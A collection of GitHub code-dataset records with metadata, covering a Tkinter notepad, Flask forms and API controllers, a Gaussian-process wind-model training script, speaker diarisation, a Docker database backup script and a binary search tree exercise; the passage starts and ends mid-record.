__name__ == '__main__':\n input_n = int(input())\n input_elements = list(map(int, input().split()))\n # input_elements = [8, 1, 5, 111, 5, 11, 5, 5, 5, 11111]\n assert len(input_elements) == input_n\n print(majority_element(input_elements))\n # print(majority_element_naive(input_elements))\n","repo_name":"A7medAbdien/Algorithms","sub_path":"Divide-and-Conquer/Majority Element/majority_element.py","file_name":"majority_element.py","file_ext":"py","file_size_in_byte":1280,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"36827828815","text":"import os\nfrom tkinter import *\nfrom tkinter.filedialog import askopenfile, askopenfilename, asksaveasfile, asksaveasfilename\nfrom tkinter.messagebox import showinfo\n\ndef newFile():\n global file\n root.title(\"untitled-Notepad\")\n file=None\n textarea.delete(1.0,END)\n\ndef openFile():\n global file\n file=askopenfilename(defaultextension=\".txt\",filetypes=[(\"All Files\",\"*.*\"),\n (\"Text Documents\",\".txt\")])\n if file==\"\":\n file=None\n else:\n root.title(os.path.basename(file)+ \"-Notepad\")\n textarea.delete(1.0,END)\n f=open(file,\"r\")\n textarea.insert(1.0,f.read())\n f.close()\n\ndef saveFile():\n global file\n if file==None:\n file=asksaveasfilename(initialfile=\"Untitled.txt\",defaultextension=\".txt\",\n filetypes=[(\"All Files\",\"*.*\"),(\"Text Documents\",\".txt\")])\n if file==\"\":\n file =None\n else: #save as a new file \n f=open(file,\"w\")\n f.write(textarea.get(1.0,END))\n f.close()\n root.title(os.path.basename(file)+ \"-Notepad\")\n print(\"file saved\")\n else:\n f=open(file,\"w\")\n f.write(textarea.get(1.0,END))\n f.close()\n\n \ndef quitApp():\n root.destroy()\n\ndef cut():\n textarea.event_generate(\"<>\")\n \n\ndef copy():\n textarea.event_generate(\"<>\")\n\ndef paste():\n textarea.event_generate(\"<>\")\n\ndef about():\n showinfo(\"notepad\",\"notepad by shashank\")\n\n\n\nif __name__=='__main__':\n root=Tk()\n root.geometry(\"700x600\")\n root.title(\"untitled-Notepad\")\n\n textarea=Text(root,font=\"lucida 14\")\n file=None\n textarea.pack(expand=True,fill=BOTH)\n\n\n scroll=Scrollbar(textarea)\n scroll.pack(side=RIGHT,fill=Y)\n scroll.config(command=textarea.yview) # to use scroll int text area \n textarea.config(yscrollcommand=scroll.set)# to adjust scroll according to text of the notepad\n\n\n menubar=Menu(root)\n\n\n\n filemenu=Menu(menubar,tearoff=0)\n filemenu.add_command(label=\"new\",command=newFile)\n filemenu.add_command(label=\"open\",command=openFile)\n filemenu.add_command(label=\"save\",command=saveFile)\n filemenu.add_command(label=\"exit\",command=quitApp)\n\n menubar.add_cascade(label=\"file\",menu=filemenu)\n\n\n editmenu=Menu(menubar,tearoff=0)\n editmenu.add_command(label=\"cut\",command=cut)\n editmenu.add_command(label=\"copy\",command=copy)\n editmenu.add_command(label=\"paste\",command=paste)\n\n\n menubar.add_cascade(label=\"Edit\",menu=editmenu)\n\n\n helpmenu=Menu(menubar,tearoff=0)\n helpmenu.add_command(label=\"About\",command=about)\n menubar.add_cascade(label=\"help\",menu=helpmenu)\n\n root.config(menu=menubar)\n root.mainloop()","repo_name":"shashanksingh07/notepad","sub_path":"notepad.py","file_name":"notepad.py","file_ext":"py","file_size_in_byte":2686,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"72186104536","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport csv\n\n# Зчитуємо дані з CSV файлу\ncsv_file = \"data.csv\"\n\nwith open(csv_file, newline='') as file:\n reader = csv.reader(file)\n header = next(reader) # ��итаємо заголовок\n\n # Витягуємо дані з рядка\n years, ukraine_datas, usa_datas = zip(*[(int(row[0]), int(row[1]), int(row[2])) for row in reader])\n\n# Конвертуємо списки у numpy arrays\nyears = np.array(years)\nukraine_datas = np.array(ukraine_datas)\nusa_datas = np.array(usa_datas)\n\n# Графік 1\nplt.plot(years, ukraine_datas, label='Ukraine', color=\"blue\")\nplt.plot(years, usa_datas, label='USA', color=\"yellow\")\nplt.title('Діаграма робочої сили', fontsize=12)\nplt.xlabel('Рік', fontsize=10, color='black')\nplt.ylabel('Значення', fontsize=10, color='black')\nplt.legend()\nplt.grid(True)\nplt.show()\n\n# Графік 2\ncounty = input(\"Введіть назву країни для побудови діаграми (Україна або США): \")\nfig, ax = plt.subplots()\n\nif county.lower() == \"україна\":\n ax.bar(years, ukraine_datas)\n plt.title(\"Діаграма робочої сили України\", fontsize=15)\nelif county.lower() == \"сша\":\n ax.bar(years, usa_datas)\n plt.title(\"Діаграма робочої сили США\", fontsize=15)\n\nplt.xlabel('Рік', fontsize=10, color='black')\nplt.ylabel('Значення', fontsize=10, color='black')\nax.set_facecolor('seashell')\nfig.set_figwidth(19)\nfig.set_figheight(12)\nplt.show()\n","repo_name":"TerraSlyga/Krupskiy-Python","sub_path":"Лаб 14/Завдання 2/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1585,"program_lang":"python","lang":"uk","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"26611561083","text":"from flask_wtf import FlaskForm\nfrom wtforms import StringField,PasswordField,SubmitField,BooleanField,IntegerField\nfrom wtforms.validators import DataRequired,ValidationError,Email,EqualTo\nimport requests\nimport dbservices as db\nimport os\nimport yaml\nimport json\n\nfilepath=\"/home/vinay/fsproject/app/files\"\n\n\nclass matchvalidations():\n def validate_matchid(matchid):\n req = requests.get(f\"https://api.opendota.com/api/matches/{matchid}\")\n js = req.json()\n for key, values in js.items():\n if key == \"error\":\n return False\n else:\n return True\n\n\n# class matchbar(FlaskForm):\n# matchinfo = SubmitField(\"GETMATCH\")\n# matchid = IntegerField(\"Match ID\", validators=[DataRequired()])\n\n# def validate_matchid(self, matchid):\n\n# req = requests.get(f\"https://api.opendota.com/api/matches/{matchid.data}\")\n# js = req.json()\n# print(js)\n# for key, values in js.items():\n# if key == \"error\":\n# raise ValidationError(\"Please enter a valid MatchID\")\n\n\nclass heroname(FlaskForm):\n heroclick = SubmitField(\"Search\")\n hero = StringField(\"Heroname\", validators=[DataRequired()])\n\n def validate_hero(self, hero):\n t=0\n playermatch = os.path.join(filepath, \"player_match_sec_hero.txt\")\n match = os.path.join(filepath, \"playermatch1.txt\")\n mlist = []\n j = False\n flag = 0\n with open(playermatch, \"r+\") as file:\n rstring = file.read()\n rstring = rstring[:-2]\n rstring = '['+rstring+']'\n rlist = yaml.safe_load(rstring)\n for i in rlist:\n for key, values in i.items():\n if key == hero.data:\n j = True\n flag = 0\n break\n print(j)\n if not j:\n with open(match,\"r+\") as file:\n rstring = file.read()\n rstring = rstring[:-2]\n rstring = '['+rstring+']'\n rlist = yaml.safe_load(rstring)\n for k in rlist:\n for key, values in k.items():\n if key == \"_id\":\n mid = values\n if key == \"heroname\":\n for u in values:\n if u == hero.data:\n mlist.append(mid)\n continue\n for index, items in enumerate(mlist):\n for index1, items1 in enumerate(mlist):\n if index == index1:\n pass\n if items == items1:\n mlist.pop(index)\n print(mlist)\n mdict ={hero.data:mlist}\n mdict = json.dumps(mdict, indent=-1)\n type(mdict)\n with open(playermatch, \"a+\") as file:\n file.write(mdict+\"\\n,\\n\")\n if len(mlist) == 0:\n flag = 1\n if flag:\n raise ValidationError(\"Hero is not present\")\n","repo_name":"Racketycomic/Dota_Revamped","sub_path":"app/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":3121,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"40688296109","text":"def detect_anagrams(src, words):\n ret = []\n t1 = sort_string(src)\n\n for wd in words:\n t2 = sort_string(wd)\n\n if t1 == t2 and src.lower() != wd.lower():\n ret.append(wd)\n\n return ret\n\ndef sort_string(st):\n ls = []\n ret = ''\n for c in range(len(st)):\n ls.append((st[c]).lower())\n ls.sort()\n\n for c in ls:\n ret += c\n\n return ret\n","repo_name":"itsolutionscorp/AutoStyle-Clustering","sub_path":"all_data/exercism_data/python/anagram/09ab13ac53e54a21819b45d33c272459.py","file_name":"09ab13ac53e54a21819b45d33c272459.py","file_ext":"py","file_size_in_byte":394,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"68"} +{"seq_id":"10976778173","text":"from .decorators import *\nimport json\nimport inspect\nimport websockets\n\ntry:\n # noinspection PyPackageRequirements\n from dominate.tags import html_tag\nexcept ImportError:\n # noinspection PyPep8Naming\n class html_tag:\n pass\n\n\ndef preprocess_jquery_arguments(x):\n if isinstance(x, html_tag):\n return str(x)\n if inspect.iscoroutinefunction(x):\n on(None, None)(x)\n return id2handlerInfo[id(x)]\n return x\n\n\nclass Selector(JSONSerializable):\n def __init__(self, selector: str, websocket: websockets.WebSocketServerProtocol=None):\n self.selector = selector\n self.sub_actions = []\n self.type = 'selector'\n self._websocket = websocket\n if websocket is not None:\n self.command = 'immediate'\n\n def __getattr__(self, action):\n if self._websocket is None:\n def func(*args):\n args = tuple(preprocess_jquery_arguments(a) for a in args)\n self.sub_actions.append((action,) + args)\n return self\n return func\n\n async def func(*args):\n self.sub_actions.append((action,) + args)\n await self._websocket.send(str(self))\n return json.loads(await self._websocket.recv())\n return func\n\n\nclass Bundle(JSONSerializable):\n def __init__(self, websocket: websockets.WebSocketServerProtocol, command='batch'):\n self.command = command\n self.actions = []\n self._websocket = websocket\n if command == 'batch':\n self.broadcast = Bundle(websocket, command='broadcast')\n\n def __call__(self, selector: str):\n s = Selector(selector)\n self.actions.append(s)\n return s\n\n def eval(self, code: str, **data):\n \"\"\"Run arbitrary code in the browser after the handler returns. \n Meant to be used for interacting with 3rd-party Javascript libraries or things not provided by jQuery API.\n\n Args:\n code: The Javascript code to be evaluated in the browser\n **data: The data supplied to be used by the Javascript code, must be JSON serializable\n All data will be attached to the `window` object.\n \"\"\"\n self.actions.append({'type': 'eval', 'code': code, 'data': data})\n\n async def eval_immediately(self, code: str, **data):\n \"\"\"Run arbitrary code in the browser and get the evaluated result back immediately.\n Must be awaited.\n\n Args:\n code: The Javascript code to be evaluated in the browser\n **data: The data supplied to be used by the Javascript code, must be JSON serializable\n All data will be attached to the `window` object.\n\n Returns: The evaluated result from browser\n\n \"\"\"\n await self._websocket.send(json.dumps({\n 'command': 'immediate',\n 'type': 'eval',\n 'code': code,\n 'data': data\n }))\n return json.loads(await self._websocket.recv())\n\n def immediate(self, selector: str) -> Selector:\n \"\"\"Execute jQuery function and get the result back immediately.\n Must be awaited.\n Meant to be used for dynamically getting attributes from UI.\n\n Args:\n selector: A jQuery selector expression\n\n Returns: The resulting selector object\n\n \"\"\"\n return Selector(selector, websocket=self._websocket)\n","repo_name":"red8012/portkey","sub_path":"portkey/selector.py","file_name":"selector.py","file_ext":"py","file_size_in_byte":3404,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"68"} +{"seq_id":"27704204179","text":"import xarray as xr\nimport numpy as np\nimport jax.numpy as jnp\nimport jax.random as jr\nimport tensorflow_probability\n\ntfp = tensorflow_probability.experimental.substrates.jax\ntfk = tfp.math.psd_kernels\nfrom riemannianvectorgp.sparse_gp import SparseGaussianProcess\nfrom riemannianvectorgp.manifold import EmbeddedS2\nfrom riemannianvectorgp.kernel import (\n MaternCompactRiemannianManifoldKernel,\n ManifoldProjectionVectorKernel,\n ScaledKernel,\n TFPKernel,\n)\nfrom riemannianvectorgp.utils import train_sparse_gp, GlobalRNG\nfrom examples.wind_interpolation.utils import deg2rad, refresh_kernel\nimport matplotlib.pyplot as plt\nimport click\nimport pickle\n\n\ndef _get_v_cond(ds, date):\n u = ds.u10.sel(time=date)\n v = ds.v10.sel(time=date)\n u_reshape = u.values.transpose().flatten()\n v_reshape = v.values.transpose().flatten()\n v_cond = np.stack([v_reshape, u_reshape], axis=-1)\n return v_cond\n\n\n# def _get_v_cond(ds, date, climatology):\n# u = ds.u10.sel(time=date)\n# v = ds.v10.sel(time=date)\n# week_number = u[\"time\"].dt.isocalendar().week\n# u_mean = climatology[\"u\"][week_number - 1]\n# v_mean = climatology[\"v\"][week_number - 1]\n# u_anomaly = u.values - u_mean\n# v_anomaly = v.values - v_mean\n# u_anomaly, v_anomaly = (\n# u_anomaly.transpose().flatten(),\n# v_anomaly.transpose().flatten(),\n# )\n# v_cond = np.stack([v_anomaly, u_anomaly], axis=-1)\n# return v_cond\n\n\n@click.command()\n@click.option(\"--logdir\", default=\"log\", type=str)\n@click.option(\"--samples\", \"-s\", default=150, type=int)\n@click.option(\"--epochs\", \"-e\", default=800, type=int)\n@click.option(\"--geometry\", \"-g\", default=\"r2\", type=click.Choice([\"r2\", \"s2\"]))\ndef main(logdir, samples, epochs, geometry):\n rng = GlobalRNG()\n\n # Load past reanalysis data\n ds = xr.open_mfdataset(\"../../datasets/weatherbench_wind_data/*.nc\")\n total_length = ds.dims[\"time\"]\n idxs = jnp.arange(total_length)\n idxs = jr.permutation(next(rng), idxs) # Shuffle indices\n\n # Load climatology\n # climatology = np.load(\"../../datasets/climatology/weekly_climatology.npz\")\n\n # Get input locations\n lon = ds.isel(time=0).lon\n lat = ds.isel(time=0).lat\n lat, lon = jnp.meshgrid(\n deg2rad(lat, offset=jnp.pi / 2), deg2rad(lon)\n ) # Reparametrise as lat=(0, pi) and lon=(0, 2pi)\n lat = lat.flatten()\n lon = lon.flatten()\n m_cond = jnp.stack([lat, lon], axis=-1)\n\n # Set up kernel\n if geometry == \"r2\":\n # kernel = ScaledKernel(TFPKernel(tfk.ExponentiatedQuadratic, 2, 2))\n kernel = ScaledKernel(TFPKernel(tfk.MaternThreeHalves, 2, 2))\n elif geometry == \"s2\":\n S2 = EmbeddedS2(1.0)\n kernel = ScaledKernel(\n ManifoldProjectionVectorKernel(\n MaternCompactRiemannianManifoldKernel(3 / 2, S2, 144), S2\n )\n ) # 144 is the maximum number of basis functions we have implemented\n\n # Set up sparse GP\n num_points = 15\n sparse_gp = SparseGaussianProcess(\n kernel=kernel, num_inducing=num_points ** 2, num_basis=144, num_samples=10\n )\n\n # Set initial inducing locations on a regular grid\n lat_init = jnp.linspace(lat[0], lat[-1], num_points)\n lon_init = jnp.linspace(lon[0], lon[-1], num_points)\n phi_init, theta_init = jnp.meshgrid(lat_init, lon_init)\n phi_init, theta_init = phi_init.flatten(), theta_init.flatten()\n init_inducing_locations = jnp.stack([phi_init, theta_init], axis=-1)\n\n # Set initial length scale\n init_length_scale = 0.15\n init_log_length_scale = jnp.log(init_length_scale)\n\n log_length_scales, log_amplitudes = [], []\n for i, idx in enumerate(idxs[:samples]):\n date = ds.time[idx]\n print(\"Sample:\", i, \"Date:\", date.values)\n\n # Initialise parameters and state\n params, state = sparse_gp.init_params_with_state(next(rng))\n kernel_params = refresh_kernel(\n next(rng), kernel, m_cond, init_log_length_scale\n )\n\n params = params._replace(kernel_params=kernel_params)\n params = params._replace(inducing_locations=init_inducing_locations)\n\n state = sparse_gp.resample_prior_basis(params, state, next(rng))\n state = sparse_gp.randomize(params, state, next(rng))\n\n # Get conditioning values\n # v_cond = _get_v_cond(ds, date, climatology)\n v_cond = _get_v_cond(ds, date)\n\n # Train sparse GP\n params, state, _ = train_sparse_gp(\n sparse_gp, params, state, m_cond, v_cond, rng, epochs=epochs\n )\n\n log_length_scale = params.kernel_params.sub_kernel_params.log_length_scale\n log_amplitude = params.kernel_params.log_amplitude\n\n print(\"Log length scale:\", log_length_scale, \"Log amplitude:\", log_amplitude)\n\n log_length_scales.append(np.asarray(log_length_scale))\n log_amplitudes.append(np.asarray(log_amplitude))\n\n log_length_scales = np.array(log_length_scale)\n log_amplitudes = np.array(log_amplitudes)\n\n np.save(logdir+\"/\"+geometry+\"_log_length_scale.npy\", log_length_scales.mean())\n np.save(logdir+\"/\"+geometry+\"_log_amplitude.npy\", log_amplitudes.mean())\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"MJHutchinson/ExtrinsicGaugeIndependentVectorGPs","sub_path":"examples/wind_interpolation/spatial_pretraining.py","file_name":"spatial_pretraining.py","file_ext":"py","file_size_in_byte":5191,"program_lang":"python","lang":"en","doc_type":"code","stars":21,"dataset":"github-code","pt":"68"} +{"seq_id":"71798374298","text":"#!/usr/bin/env python3\n\"\"\"\nDefine map operations: create new map with random landmarks,\nget a picture of the map, print the map as a matrix.\n\"\"\"\n\n__author__ = \"Gabriel Hishida and Allan Cedric\"\n\nimport numpy as np\nfrom random import randrange\nimport cv2 as cv\n\n# MACROS: \nEMPTY_SYMBOL = \"-\"\nLANDMARK_SYMBOL = \"X\"\n\ndef random_map(rows, columns, landmarks_count, EMPTY, LANDMARK):\n \"\"\"Makes a numpy.ndarray of a map with random landmarks\"\"\"\n # make map matrix\n map = [[EMPTY for j in range(columns)] for i in range(rows)]\n map = np.array(map)\n\n # insert landmarks\n # landmarks are tuples of (ladmark_id, (landmark_coordinate))\n landmarks = []\n for count in range(landmarks_count):\n has_placed = False\n while not has_placed:\n i = randrange(rows)\n j = randrange(columns)\n\n # try to place\n if map[i, j] != LANDMARK: \n map[i, j] = LANDMARK\n has_placed = True\n landmarks.append((count, (j, i)))\n\n return map, landmarks\n\nclass Map:\n \"\"\"Map class\"\"\"\n EMPTY = EMPTY_SYMBOL\n LANDMARK = LANDMARK_SYMBOL\n \n def __init__(self, rows, columns, num_landmarks):\n \"\"\"Get a new random map\"\"\"\n self.rows, self.columns, self.num_landmarks = rows, columns, num_landmarks\n self.matrix, self.landmarks = random_map(self.rows, self.columns, self.num_landmarks,\n self.EMPTY, self.LANDMARK)\n \n def __str__(self):\n \"\"\"Get the matrix as a string\"\"\"\n str = \"\"\n for row in self.matrix:\n for char in row:\n str += char\n str += \"\\n\"\n return str\n\n def get_picture(self, magnitude=8, negated=0):\n \"\"\"Get a numpy BGR matrix of the map, augmented $magnitude times\"\"\"\n mask = np.zeros((self.rows*magnitude, self.columns*magnitude, 3), dtype=np.uint8)\n mask.fill(255 * negated)\n\n for i in range(self.rows):\n for j in range(self.columns):\n if self.matrix[i, j] == self.LANDMARK:\n mask[i*magnitude:i*magnitude+magnitude-1, j*magnitude:j*magnitude+magnitude-1] = 255 * (not negated)\n\n return mask","repo_name":"gabrielnhn/Simple_Localization","sub_path":"map_module.py","file_name":"map_module.py","file_ext":"py","file_size_in_byte":2201,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"4321610521","text":"#%%\r\n#from sklearn import cluster\r\nimport numpy as np\r\nfrom resemblyzer import preprocess_wav, VoiceEncoder\r\nfrom pathlib import Path\r\nimport matplotlib.pyplot as plt\r\n\r\n#%%\r\nwav_name = lambda t : \"db/wav/*.wav\".replace(\"*\", t)\r\nrttm_name = lambda t : \"db/rttm/*.rttm\".replace(\"*\", t)\r\nnpy_name = lambda t : \"db/npy/*.npy\".replace(\"*\", t) \r\n\r\ndef get_array(file_name):\r\n \"\"\"\r\n \r\n \"\"\"\r\n wav_fpath = Path(file_name)\r\n wav = preprocess_wav(wav_fpath)\r\n encoder = VoiceEncoder(\"cpu\")\r\n _, array, wav_split = encoder.embed_utterance(wav, return_partials=True, rate=16)\r\n return array, wav_split\r\n\r\n#%%\r\nfrom spectralcluster import SpectralClusterer\r\nfrom sklearn.cluster import KMeans, SpectralClustering\r\nfrom sklearn.metrics import silhouette_score\r\n\r\ndef get_best_cluster(vectors, max_size):\r\n silh = []\r\n for k in range(2, max_size):\r\n kmeans = SpectralClustering(k)\r\n kmeans.fit(vectors)\r\n cluster_labels = kmeans.labels_\r\n \r\n\r\n return i + 1\r\n\r\ndef get_output_label(array):\r\n clusterer = SpectralClusterer(\r\n min_clusters=1,\r\n max_clusters=5,\r\n p_percentile=0.95,\r\n gaussian_blur_sigma=1)\r\n labels = clusterer.predict(array)\r\n return labels\r\n\r\n#%%\r\ndef getextracts(label, tab):\r\n \"\"\"\r\n param - label : the labelled value of the corresponding voice at each time\r\n param - tab : the different timestamp corresponding to the label\r\n return - the timestamp [start, end[ of the largest extract linked to each voice\r\n \"\"\"\r\n values = [[] for _ in range(max(label) + 1)]\r\n start = 0\r\n for i, time in enumerate(tab):\r\n if i > 0 and label[i] != label[i-1]:\r\n values[label[i-1]].append(tuple([tab[start], time]))\r\n start = i\r\n if i == len(tab) - 1:\r\n values[label[i]].append(tuple([tab[start], time]))\r\n return([max(v, key=lambda t : t[1] - t[0]) for v in values])\r\n\r\n\r\n\r\n# %%\r\nfrom scipy.io import wavfile\r\ndef split(fichier,L): \r\n #L contient les times codes où couper\r\n # read the file and get the sample rate and data\r\n rate, data = wavfile.read(fichier) \r\n split = 0\r\n noms =[]\r\n for i in range(len(L)):\r\n # get the frame to split at\r\n ba, bb = int(L[i][0]), int(L[i][1])\r\n l = (ba + bb) / 2\r\n split = data[max(ba, int(l - 5 * rate)):min(bb, int(l + 5 * rate))]\r\n wavfile.write(f\"./temp{i}.wav\",rate, split)\r\n noms.append(f\"./temp{i}.wav\")\r\n return noms\r\n# Envoi les fonctions dans l'environnement, on les récupèrera avec nom​\r\n\r\n#%%\r\ndef create_audio_files(filename) :\r\n ar, wav_split= get_array(filename)\r\n timestamps = [(s.start+s.stop)/2 for s in wav_split]\r\n labels = get_output_label(ar)\r\n extracts = getextracts(labels, timestamps)\r\n noms = split(filename, extracts)\r\n print(noms)\r\n# %%\r\ndef count_speakers(audio_path):\r\n ar, wav_split= get_array(audio_path)\r\n timestamps = [(s.start+s.stop)/2 for s in wav_split]\r\n labels = get_output_label(ar)\r\n extracts = getextracts(labels, timestamps)\r\n noms = split(audio_path, extracts)\r\n print(noms)\r\n# %%\r\n","repo_name":"oomcth/La-garderie-Machine-Learning","sub_path":"audio_separator.py","file_name":"audio_separator.py","file_ext":"py","file_size_in_byte":3074,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"68"} +{"seq_id":"41529203687","text":"import os\nimport docker\n\n\nclient = docker.from_env()\ncontainer = client.containers.get(\"sklep-internetowy-hiretr_postgres_1\")\ncontainer.exec_run('pg_dump -U docker -d docker -F d -f backup')\nos.chdir('../')\nf = open('./pg_backup.tar', 'wb')\nbits, stat = container.get_archive('/backup')\nfor chunk in bits:\n f.write(chunk)\nf.close()\n","repo_name":"jakubzengota/sklep-internetowy-hiretr","sub_path":"scripts/create_backup.py","file_name":"create_backup.py","file_ext":"py","file_size_in_byte":335,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"10418054357","text":"from flask import jsonify, make_response, request\nfrom flask_restx import Resource\nfrom sqlalchemy import null\n\nfrom ..utils.dto import UserDto\nfrom ..service.user_service import save_new_user, get_all_users, get_a_user\nfrom ..utils.decorator import admin_token_required\n\n# create a namespace for the user controller\napi = UserDto.api\n_user = UserDto.user\n_user_register = UserDto.user_register\n\n# user controller\n\n\n@api.route('/')\nclass UserList(Resource):\n\n @admin_token_required\n @api.doc('list_of_registered_users')\n @api.marshal_list_with(_user, envelope='data')\n def get(self):\n \"\"\"List all registered users\"\"\"\n return get_all_users()\n\n # post a new user\n @api.response(201, 'User successfully created.')\n @api.doc('create a new user') # add a description to the post method\n # add a validation to the post method\n @api.expect(_user_register, validate=True)\n def post(self):\n \"\"\"Creates a new User \"\"\"\n data = request.json\n return save_new_user(data)\n\n# user controller by id\n\n\n@api.route('/')\nclass User(Resource):\n @admin_token_required\n @api.doc('get a user by id')\n @api.marshal_with(_user)\n # auth decorator for protected endpoints (i.e. endpoints that require a valid admin token)\n def get(self, public_id):\n \"\"\"get a user given its id\"\"\"\n user = get_a_user(public_id)\n if user.public_id == null:\n make_response({\"error\", \"unauthorized request\"}, 401)\n else:\n if not user:\n api.abort(404, \"User not found\")\n return user #\n","repo_name":"edcheyjr/skin-cancer-diagnostic-system-backend","sub_path":"app/main/controller/user_controller.py","file_name":"user_controller.py","file_ext":"py","file_size_in_byte":1603,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"628818802","text":"import turtle\nwindow = turtle.Turtle()\nturtle.bgcolor(\"purple\")\nwindow.speed(3)\nwindow.pensize(6)\nwindow.color(\"white\")\nwindow.up()\nwindow.goto(-200,0)\nwindow.down()\nfor i in range(5):\n\t\twindow.forward(400)\n\t\twindow.right(144)\n \n \nturtle.mainloop() ","repo_name":"PrasannaJung/LearningPython","sub_path":"Turtle/star.py","file_name":"star.py","file_ext":"py","file_size_in_byte":252,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"5481589684","text":"from fila import Fila # importação de fila\nfrom palavras import palavras # Modulo com palavras aleatorias\nimport random # função aleatorio\nimport time\nimport timeit\n\n\n\nROOT= \"raiz\"\nclass No: #classe que vai indicar os dados e direita esquesrda\n def __init__(self,dado):\n self.dado = dado\n self.esquerda = None #filho a esquerda\n self.direita = None #filho a direita\n\n def __str__(self): #converter um No em str\n return str(self.dado) #retorna o dado em forma de str\n\nclass ArvoreBinaria: #arvore \n def __init__(self,dado=None, no=None):\n if no:\n self.raiz = no\n elif dado:\n no = No(dado) #no vai ser igual ao dado inserido en No\n self.raiz = no # a raiz da arvore vai ser igual ao dado\n else:\n self.raiz = None\n #percurso simetrico\n def percurso_simetrico(self, no=None): \n if no is None:\n no = self.raiz\n if no.esquerda:\n print('(', end=\" \") # colocar o ( no inicio , end não pular linha\n self.percurso_simetrico(no.esquerda)\n print(no, end=\" \") # colocar para a lateral \n if no.direita:\n self.percurso_simetrico(no.direita)\n print(')', end=\" \") # colocar o ) no final\n #percurso pos ordem\n #ira percorrer a arvore da esquerda para direira de seu maior nivel \n #depois ira para a direita em seu maior nivel \n #depois para a raiz\n def percurso_pos_ordem(self, no=None):\n if no is None:\n no = self.raiz\n if no.esquerda:\n self.percurso_pos_ordem(no.esquerda)\n if no.direita:\n self.percurso_pos_ordem(no.direita)\n print(no)\n \n def altura(self, no=None): # ira verificar a altura da arvore\n if no is None:\n no = self.raiz\n Aesquerda = 0\n Adireita = 0\n\n if no.esquerda:\n Aesquerda = self.altura(no.esquerda)\n if no.direita:\n Adireita = self.altura(no.direita)\n if Adireita > Aesquerda: # contador de altura da arvore\n return Adireita + 1\n else:\n return Aesquerda + 1\n \n def in_ordem_simetrica(self, no=None):\n if no is None:\n no = self.raiz\n if no.esquerda:\n self.in_ordem_simetrica(no.esquerda)\n print(no, end=' ')\n if no.direita:\n self.in_ordem_simetrica(no.direita)\n \n def percurso_nivel(self, no=ROOT):\n if no == ROOT:\n no = self.raiz\n\n fila = Fila()\n fila.empurre(no)\n while len(fila):\n no = fila.pop()\n if no.esquerda:\n fila.empurre(no.esquerda)\n if no.direita:\n fila.empurre(no.direita)\n print(no, end=\" \")\n \n\n# herdar a qualidades da Arvore Binaria\nclass ArvoreBinariaBusca(ArvoreBinaria):\n \n def insert(self, valor): # inserindo valores\n pai = None\n x = self.raiz\n while(x):\n pai = x\n if valor < x.dado:\n x = x.esquerda\n else:\n x = x.direita\n if pai is None:\n self.raiz = No(valor)\n elif valor < pai.dado:\n pai.esquerda = No(valor)\n else:\n pai.direita = No(valor)\n \n def procurar(self, valor): # função que ira procurar os valores selecionados\n return self._procurar(valor, self.raiz)\n\n def _procurar(self, valor, no):\n if no is None:\n return no\n if no.dado == valor:\n return ArvoreBinariaBusca(no)\n if valor < no.dado:\n return self._procurar(valor, no.esquerda)\n return self._procurar(valor, no.direita)\n \n\n####################################################################################################\n#INICIO \ndados1 = []\ndados2 = []\ncont = 25# Local a Testar Valores\n\n\n \nfor c in range(cont): # contador que vai dar as chaves sequencialmente para cada linha\n chave = '{:001d}' .format(c)\n chave1 = '{:001d}' .format(c) \n \n\n lista = list(range(1)) # Numeros de 1 a 10.000, que ira entrar aleatoriamente \n for i in lista:\n n = random.randint(1,10000)\n \n palavra = random.choice(palavras) # variavel que ira escolher uma palavra aleatoria do nosso modulo importado\n \n #lista a ser preenchida com CHAVE,INTEIRO e CHAR\n dados1.append({\n 'chave': chave,\n 'valor_inteiro': n,\n 'char_1000':palavra \n })\n \nwith open('DADOS.txt', 'a') as arquivo: # ENVIANDO TUDO PARA O ARQUIVO TXT\n for l1 in dados1:\n arquivo.write(f' {l1[\"chave\"]} : VALOR INTEIRO: {l1[\"valor_inteiro\"]}- CHAR: {l1[\"char_1000\"]}')\n arquivo.write('\\n')\n \nwith open('DADOS2.txt', 'a') as arquivo: # ENVIANDO TUDO PARA O ARQUIVO TXT\n for l1 in dados1:\n arquivo.write(f' {l1[\"chave\"]} : VALOR INTEIRO: {l1[\"valor_inteiro\"]}- CHAR: {l1[\"char_1000\"]}')\n arquivo.write('\\n')\n\nwith open(\"DADOS2.txt\", \"r\") as arquivo: #converte para lista\n teste = arquivo.readlines()\n print(teste)\n x= random.sample(teste,len(teste)) #valores do arquivo txt DADOS2 aleatorios\n print(\"\\n\\n\\n\")\n print(x)\n print('\\n')\n \nwith open(\"DADO3.txt\", \"a\") as p: #Dados aleatorios em lista\n p.write(str(x))\n p.write('\\n')\n p.close()\n\n\ndict = {}\nfor i in range(len(x)):\n dict[x[i][0]] = x[i][1:]\n\n######################################################################################\n\n#######################################################################################\ndef example_arvore():\n valor = dict\n arvore = ArvoreBinariaBusca()\n for v in valor:\n arvore.insert(v)\n return arvore\n\n#######################################################################################\nprint('\\n---Ordem Simetrica---') # lista em ordem\nabb = example_arvore()\nabb.in_ordem_simetrica()\nprint('\\n')\n\nu = int(input(\"Digite: \"))\nitems = [u] # a busca na nossa arvore\nfor elementos in items:\n r = abb.procurar(elementos) # metodo de busca na arvore\n if r is None:\n print(elementos, \"Não encontrado\")\n else:\n print(r.raiz.dado, 'encontrado')\n print(dict.get(u))\n\n #Contador de Doração da procura na arvore com valores ordenados \n time.sleep(1)\ninicio 